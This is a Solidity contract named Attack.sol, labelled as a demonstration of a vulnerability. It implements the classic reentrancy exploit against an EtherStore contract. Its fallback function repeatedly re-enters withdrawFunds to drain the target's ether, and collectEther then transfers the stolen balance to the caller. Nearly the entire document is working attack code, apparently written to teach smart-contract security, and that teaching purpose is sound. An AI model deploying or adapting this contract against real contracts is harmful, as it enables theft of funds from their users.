DO NOT USE THIS CODE. THIS CODE IS USED TO DEMONSTRATE A VULNERABILITY IN A SOLIDITY CODE.

Attack.sol

import "EtherStore.sol";
contract Attack {
  EtherStore public etherStore;
  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }
  
  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }
  
  function collectEther() public {
      msg.sender.transfer(this.balance);
  }
    
  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}